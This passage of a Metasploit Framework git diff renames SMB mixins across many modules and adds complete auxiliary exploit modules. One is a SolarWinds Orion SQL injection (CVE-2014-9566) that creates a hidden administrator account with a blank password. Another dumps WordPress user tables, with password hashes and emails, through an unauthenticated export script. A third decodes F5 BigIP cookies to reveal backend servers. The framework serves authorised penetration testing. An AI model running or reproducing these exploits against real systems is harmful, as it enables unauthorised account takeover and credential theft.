pkt['Payload'].v['ParamCount'] = 10 - pkt['Payload'].v['ParamOffset'] = 56 - pkt['Payload'].v['DataCount'] = 14 + path.length - pkt['Payload'].v['DataOffset'] = 68 - pkt['Payload'].v['Payload'] = - "\x00" + # Padding - # FIND_FIRST2 Parameters - "\xfd\xff" + # Search ID - "\x01\x00" + # Search count - "\x01\x00" + # End Of Search - "\x00\x00" + # EA Error Offset - "\x00\x00" + # Last Name Offset - "\x00\x00" + # Padding - #QUERY_PATH_INFO Data - [14 + path.length].pack("V") + # Next Entry Offset - "\x00\x00\x00\x00" + # File Index - [path.length].pack("V") + # File Name Len - path + - "\x00\x00" # Padding - c.put(pkt.to_s) - end - end - -end # End Class -end # End SMB -end # End Proto -end # End Rex diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb index 82c843a6c37d..690db23dd0f0 100644 --- a/lib/rex/socket/comm/local.rb +++ b/lib/rex/socket/comm/local.rb @@ -281,7 +281,7 @@ def self.create_by_type(param, type, proto = 0) raise ::Errno::ETIMEDOUT end - rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL + rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::ENOPROTOOPT # Rescue errors caused by a bad Scope ID for a link-local address if retry_scopes and @@ip6_lla_scopes[ ip6_scope_idx ] diff --git a/lib/rex/text.rb b/lib/rex/text.rb index d33bdf18b024..c414d36b3724 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1810,4 +1810,3 @@ def self.checksum32_be(str) end end - diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index cf7ea2013495..d6647b23562f 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.19' + spec.add_runtime_dependency 'metasploit-credential', '~> 0.14.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 0.22.8' + spec.add_runtime_dependency 'metasploit_data_models', '~> 0.23.0' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4b2fd7850e2e..86331f426903 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -80,7 +80,8 @@ Gem::Specification.new do |spec| # NoMethodError undefined method `dlopen' for Fiddle:Module unless Gem.win_platform? # Command line editing, history, and tab completion in msfconsole - spec.add_runtime_dependency 'rb-readline' + # Use the Rapid7 fork until the official gem catches up + spec.add_runtime_dependency 'rb-readline-r7' end # Needed by anemone crawler diff --git a/modules/auxiliary/admin/db2/db2rcmd.rb b/modules/auxiliary/admin/db2/db2rcmd.rb index 29794670ca84..6f8d5738fb50 100644 --- a/modules/auxiliary/admin/db2/db2rcmd.rb +++ b/modules/auxiliary/admin/db2/db2rcmd.rb @@ -7,7 +7,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/auxiliary/admin/firetv/firetv_youtube.rb b/modules/auxiliary/admin/firetv/firetv_youtube.rb new file mode 100644 index 000000000000..ffeedd58855a --- /dev/null +++ b/modules/auxiliary/admin/firetv/firetv_youtube.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Amazon Fire TV YouTube Remote Control', + 'Description' => %q{ + This module acts as a simple remote control for the Amazon Fire TV's + YouTube app. + + Tested on the Amazon Fire TV Stick. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'http://www.amazon.com/dp/B00CX5P8FC?_encoding=UTF8&showFS=1'], + ['URL', 'http://www.amazon.com/dp/B00GDQ0RMG/ref=fs_ftvs'] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['Play', 'Description' => 'Play video'], + ['Stop', 'Description' => 'Stop video'] + ], + 'DefaultAction' => 'Play' + )) + + register_options([ + Opt::RPORT(8008), + OptString.new('VID', [true, 'Video ID', 'HkhSZyYmpO4']) + ]) + end + + def run + case action.name + when 'Play' + stop + sleep(1) + res = play + when 'Stop' + res = stop + end + + return unless res + + case res.code + when 201 + print_good("Playing https://www.youtube.com/watch?v=#{datastore['VID']}") + when 200 + print_status('Stopping video') + when 404 + print_error("Couldn't #{action.name.downcase} video") + end + end + + def play + begin + send_request_cgi( + 'method' => 'POST', + 'uri' => '/apps/YouTube', + 'ctype' => 'text/plain', + 'vars_post' => { + 'v' => datastore['VID'] + } + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + end + end + + def stop + begin + send_request_raw( + 'method' => 'DELETE', + 'uri' => '/apps/YouTube/run' + ) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable => e + fail_with(Failure::Unreachable, e) + end + end + +end diff --git a/modules/auxiliary/admin/smb/check_dir_file.rb b/modules/auxiliary/admin/smb/check_dir_file.rb index 400398614532..3f85ac29efce 100644 --- a/modules/auxiliary/admin/smb/check_dir_file.rb +++ b/modules/auxiliary/admin/smb/check_dir_file.rb @@ -10,8 +10,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/smb/delete_file.rb b/modules/auxiliary/admin/smb/delete_file.rb index 7557d237e5a1..fa10e7698732 100644 --- a/modules/auxiliary/admin/smb/delete_file.rb +++ b/modules/auxiliary/admin/smb/delete_file.rb @@ -8,8 +8,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/download_file.rb b/modules/auxiliary/admin/smb/download_file.rb index 9a12f2e407a0..251e3f130eb9 100644 --- a/modules/auxiliary/admin/smb/download_file.rb +++ b/modules/auxiliary/admin/smb/download_file.rb @@ -8,8 +8,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/list_directory.rb b/modules/auxiliary/admin/smb/list_directory.rb index 097cb2d0e03f..53e52f66e819 100644 --- a/modules/auxiliary/admin/smb/list_directory.rb +++ b/modules/auxiliary/admin/smb/list_directory.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 8a0ea4daeb08..063a2265a36e 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -7,7 +7,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb index 01a40c53fe8f..3d04f59a7475 100644 --- a/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb +++ b/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb index 968fe1cbc628..e0c7b914b653 100644 --- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb +++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/admin/smb/upload_file.rb b/modules/auxiliary/admin/smb/upload_file.rb index d8accb78133e..06085c787441 100644 --- a/modules/auxiliary/admin/smb/upload_file.rb +++ b/modules/auxiliary/admin/smb/upload_file.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Report # Aliases for common classes diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 3c6857deed68..64c2767ed5c5 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index 5fa563df2b76..34a5af994f83 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 9be909392007..a550c617b196 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client::Authenticated TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'FID', 0 ], diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index ad1cae1beb10..79d649c2535e 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index caeb33454595..fffd69b8dd3e 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index cd801fecb8bd..f60c224d7d0b 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index 73b2e35230d8..b9c9005b962a 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index c1e5a0347362..25fec756b7cb 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index ae6771154dd9..51fa2bab021f 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -6,7 +6,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp - #include Msf::Exploit::Remote::SMB + #include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 5d418041f023..2ba38d20645a 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index fc8a51df57f2..5d4486fc5e07 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index 765c1603f699..17ae41ffdec5 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index b3ac1f0a1ee3..22b0824f1f3c 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index e66b34050f2a..a8eec1e0146d 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index 9156563bff4b..de640033a746 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -8,7 +8,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 0455124f6996..5888a134e70f 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -15,9 +15,16 @@ def initialize(info = {}) 'Name' => 'F5 BigIP Backend Cookie Disclosure', 'Description' => %q{ This module identifies F5 BigIP load balancers and leaks backend - information through cookies inserted by the BigIP devices. + information (pool name, backend's IP address and port, routed domain) + through cookies inserted by the BigIP system. }, - 'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ], + 'Author' => + [ + 'Thanat0s <thanspam[at]trollprod.org>', + 'Oleg Broslavsky <ovbroslavsky[at]gmail.com>', + 'Nikita Oleksov <neoleksov[at]gmail.com>', + 'Denis Kolegov <dnkolegov[at]gmail.com>' + ], 'References' => [ ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], @@ -34,7 +41,7 @@ def initialize(info = {}) end def change_endianness(value, size=4) - conversion = value + conversion = nil if size == 4 conversion = [value].pack("V").unpack("N").first @@ -46,21 +53,30 @@ def change_endianness(value, size=4) end def cookie_decode(cookie_value) - back_end = "" - - if cookie_value =~ /(\d{8})\.(\d{5})\./ + if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ host = $1.to_i port = $2.to_i - host = change_endianness(host) host = Rex::Socket.addr_itoa(host) - port = change_endianness(port, 2) - - back_end = "#{host}:#{port}" + elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ + host = $1.to_i(16) + port = $2.to_i + host = Rex::Socket.addr_itoa(host) + elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ + host = $1.to_i(16) + port = $2.to_i + host = Rex::Socket.addr_itoa(host, v6=true) + port = change_endianness(port, 2) + elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ + host = $1.to_i(16) + port = $2.to_i + host = Rex::Socket.addr_itoa(host, v6=true) + elsif cookie_value =~ /!.{104}/ + host = nil + port = nil end - - back_end + host.nil? ? nil : "#{host}:#{port}" end def get_cookie # request a page and extract a F5 looking cookie. @@ -71,13 +87,17 @@ def get_cookie # request a page and extract a F5 looking cookie. }) unless res.nil? - # Get the SLB session ID, like "TestCookie=2263487148.3013.0000" - m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/) - unless m.nil? - cookie[:id] = (m.nil?) ? nil : m[1] - cookie[:value] = (m.nil?) ? nil : m[2] - end - end + # Get the SLB session IDs for all cases: + # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000", + # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80", + # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480", + # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80", + # 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc" + + m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/) + cookie[:id] = m.nil? ? nil : m[1] + cookie[:value] = m.nil? ? nil : m[2] + end cookie end @@ -96,17 +116,26 @@ def run cookie = get_cookie() # Get the cookie # If the cookie is not found, stop process if cookie.empty? || cookie[:id].nil? - print_error("#{peer} - F5 Server load balancing cookie not found") + print_error("#{peer} - F5 BigIP load balancing cookie not found") break end # Print the cookie name on the first request if i == 0 - print_status("#{peer} - F5 Server load balancing cookie \"#{cookie[:id]}\" found") + print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") + if cookie[:id].start_with?('BIGipServer') + print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") + end + if cookie[:value].start_with?('rd') + print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") + end + if cookie[:value].start_with?('!') + print_status("#{peer} - F5 BigIP cookie is probably encrypted") + end end back_end = cookie_decode(cookie[:value]) - unless back_ends.include?(back_end) + unless back_end.nil? || back_ends.include?(back_end) print_status("#{peer} - Backend #{back_end} found") back_ends.push(back_end) end diff --git a/modules/auxiliary/gather/solarwinds_orion_sqli.rb b/modules/auxiliary/gather/solarwinds_orion_sqli.rb new file mode 100644 index 000000000000..5ffa30821932 --- /dev/null +++ b/modules/auxiliary/gather/solarwinds_orion_sqli.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http//:metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation', + 'Description' => %q{ + This module exploits a stacked SQL injection in order to add an administrator user to the + SolarWinds Orion database. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry' #discovery/metasploit module + ], + 'References' => + [ + ['CVE', '2014-9566'] + ], + 'DisclosureDate' => 'Feb 24 2015' + )) + + register_options( + [ + Opt::RPORT(8787), + OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']), + OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']), + OptString.new('PASSWORD', [false, 'The password to authenticate with', '']) + ], self.class) + + end + + def login (username,password) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx') + }) + + viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/>/ + + cookie = res.get_cookies + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx'), + 'method' => 'POST', + 'vars_post' => { + '__EVENTTARGET' => '', + '__EVENTARGUMENT' => '', + '__VIEWSTATE' => viewstate, + 'ctl00$BodyContent$Username' => username, + 'ctl00$BodyContent$Password' => password + }, + 'cookie' => cookie + }) + + if res.nil? + fail_with("Server didn't respond in an expected way") + end + + if res.code == 200 + fail_with("Authentication failed with username #{username}") + end + + return cookie + ';' + res.get_cookies + end + + def run + cookie = login(datastore['USERNAME'], datastore['PASSWORD']) + username = Rex::Text.rand_text_alpha(8) + + print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.") + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'), + 'method' => 'POST', + 'vars_get' => { + 'sort' => 'Accounts.AccountID', #also vulnerable + 'dir' => "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb 1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');" + }, + 'data' => '{"accountId":""}', + 'cookie' => cookie, + 'ctype' => 'application/json' + }) + + login(username, '') + + print_good("The injection worked, log in with #{username} and a blank password") + end +end + diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 1a45f7faa927..6d25d5d1dd00 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -9,8 +9,8 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb new file mode 100644 index 000000000000..88c41fee0c6c --- /dev/null +++ b/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'csv' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Ultimate CSV Importer User Table Extract', + 'Description' => %q{ + Due to lack of verification of a visitor's permissions, it is possible + to execute the 'export.php' script included in the default installation of the + Ultimate CSV Importer plugin and retrieve the full contents of the user table + in the WordPress installation. This results in full disclosure of usernames, + hashed passwords and email addresses for all users. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Hooker', # Disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['WPVDB', '7778'] + ], + 'DisclosureDate' => 'Feb 02 2015' + )) + end + + def plugin_url + normalize_uri(wordpress_url_plugins, 'wp-ultimate-csv-importer') + end + + def exporter_url + normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php') + end + + def check + check_plugin_version_from_readme('wp-ultimate-csv-importer', '3.6.7' '3.6.0') + end + + def process_row(row) + if row[:user_login] && row[:user_pass] + print_good("#{peer} - Found credential: #{row[:user_login]}:#{row[:user_pass]}") + + credential_data = { + origin_type: :service, + module_fullname: fullname, + private_type: :nonreplayable_hash, + address: ::Rex::Socket.getaddress(rhost, true), + port: rport, + protocol: 'tcp', + service_name: ssl ? 'https' : 'http', + username: row[:user_login], + private_data: row[:user_pass], + workspace_id: myworkspace_id + } + + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(credential_data) + create_credential_login(login_data) + end + end + + def parse_csv(body, delimiter) + begin + CSV::Converters[:blank_to_nil] = lambda do |field| + field && field.empty? ? nil : field + end + csv = CSV.new(body, :col_sep => delimiter, :headers => true, :header_converters => :symbol, :converters => [:all, :blank_to_nil]) + csv.to_a.map { |row| process_row(row) } + return true + rescue + return false + end + end + + def run + print_status("#{peer} - Requesting CSV extract...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => exporter_url, + 'vars_post' => { 'export' => 'users' } + ) + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + + print_status("#{peer} - Parsing response...") + unless parse_csv(res.body, ',') + unless parse_csv(res.body, ';') + fail_with("#{peer} - Failed to parse response, the CSV was invalid") + end + end + + store_path = store_loot('wordpress.users.export', 'csv', datastore['RHOST'], res.body, 'users_export.csv', 'WordPress User Table Extract') + print_good("#{peer} - CSV saved to #{store_path}") + end +end diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb index 467054f8e555..d2c30f1bf18d 100644 --- a/modules/auxiliary/scanner/http/appletv_login.rb +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -75,16 +75,13 @@ def run_host(ip) end scanner = Metasploit::Framework::LoginScanner::HTTP.new( - host: ip, - port: rport, + configure_http_login_scanner( uri: "/stop", - proxies: datastore["PROXIES"], cred_details: cred_collection, stop_on_success: 